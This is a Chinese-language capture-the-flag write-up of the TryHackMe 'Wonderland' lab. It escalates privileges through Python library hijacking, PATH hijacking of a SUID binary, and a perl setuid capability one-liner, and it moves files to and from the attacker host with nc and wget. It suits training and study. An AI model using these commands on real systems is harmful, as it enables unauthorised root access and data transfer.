可以学到很多提权的方式
参考链接:
先nmap扫一下端口,发现开启了22端口
网站的标题是Follow the White Rabbit.
再结合使用dirbuster扫到了/r/a,猜测是访问/r/a/b/b/i/t
然后到了这个页面
查看源码得到
1 | alice:HowDothTheLittleCrocodileImproveHisShiningTail |
看起来是ssh登录的账户和密码
使用命令
1 | ssh alice@10.10.197.160 |
来使用ssh连接
然后发现这个用户的权限非常低,所以要提权
使用sudo -l
查看当前用户可执行与无法执行的指令,发现可以使用rabbit的权限去运行python3和walrus_and_the_carpenter.py文件
1 | Matching Defaults entries for alice on wonderland: |
然后再看看walrus_and_the_carpenter.py
1 | import random |
他导入了一个random库,然后设置了一个变量poem,让他随机打印十行诗句
这里的关键就是通过劫持Python库进行权限提升
python在导入库的时候,有一个库的搜索路径列表,使用下面的命令可以输出搜索顺序
1 | python3 -c 'import sys;print (sys.path)' |
1 | ['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages'] |
最前面的表示当前目录,即和执行的py脚本在同一个目录
我们只要把自己写的random.py文件放在原本的random.py前面,从而劫持库来进行提权
在/usr/lib/python3.6目录下可以找到random.py,所以我们在walrus_and_the_carpenter.py的同一目录下创建一个random.py,这样在导入random库的时候就会先导入我们写的random.py,从而来提升到rabbit权限
/home/alice/
我们是有权限写入的
random.py
1 | import os |
然后用rabbit用户运行这个脚本
1 | sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py |
就可以发现,已经切换到rabbit用户了
user.txt是看提示,说一切都是颠倒的,所以user.txt在/root里被找到
/root/里不能使用ls,所以只能直接猜
1 | cat /root/user.txt |
然后还得提权
在/home/rabbit目录发现了存在suid位的可执行文件teaParty
有suid位,说明其他用户在执行这个程序的时候,将获取文件所有者的权限以及所有者的UID和GID,可以进行提权
可以查看一下这个可执行文件,使用nc来将文件下载下来
目标机
1 | nc 10.18.104.32 9000 < teaParty |
攻击机
1 | nc -lvvp 9000 > teaParty |
使用ida查看,得到伪代码
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
发现他会执行echo
和date
两个系统命令,echo是直接执行的文件,而data是通过系统变量来定位的文件
使用命令echo $PATH
查看目标主机的系统变量,为
1 | /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin |
使用which date
可以知道这个命令的绝对路径,为
1 | /bin/date |
我们可以找一个有权限写入的目录,构造一个可执行脚本,并命名为date。然后修改PATH的值将这个伪造的可执行文件date的目录放在最前面。
这样在执行teaParty的时候,他就会以root的权限执行这个文件,然后在执行date的时候就会执行到我们构造的那个恶意文件
查找发现/tmp可以写入
date
1 |
|
然后执行命令
1 | chmod +x date |
查看PATH,echo $PATH
,已经生效
1 | /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin |
然后执行teaParty,成功提权为hatter用户
在/home/hatter可以发现password.txt文件
1 | WhyIsARavenLikeAWritingDesk? |
猜测可能是root的密码,发现不是。
尝试tryhackme用户,也不是。
最后发现就是hatter用户的密码。
执行sudo -l
后,发现没有什么可以使用sudo执行的命令
可以使用LinPEAS来查找可能存在的提权方式
在攻击机上开启pytho服务,目标机使用wget下载文件
1 | python3 -m http.server |
1 | wget http://10.18.104.3x:8000/linpeas.sh |
在capability中可以发现以下内容
1 | Files with capabilities (limited to 50): |
Capability是linux将root权限进行分割然后分配给其他进程,使其他进程可以在普通用户权限下让程序拥有额外的权限
为了让Capability的概念更透彻,我们可以举下面的例子:假设有一个web服务器运行在80端口,我们需要额外的root权限来扫描1024端口之前的端口。在这一点上,而不是给full root 权限给低权限用户,我们可以设置capability给二进制文件来执行所需的操作。
这里perl拥有一些capability,在gtfobins上找使用perl进行提权的相关命令
执行以下命令,得到root权限
1 | /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' |
然后就可以去/home/alice/读取root.txt了 XD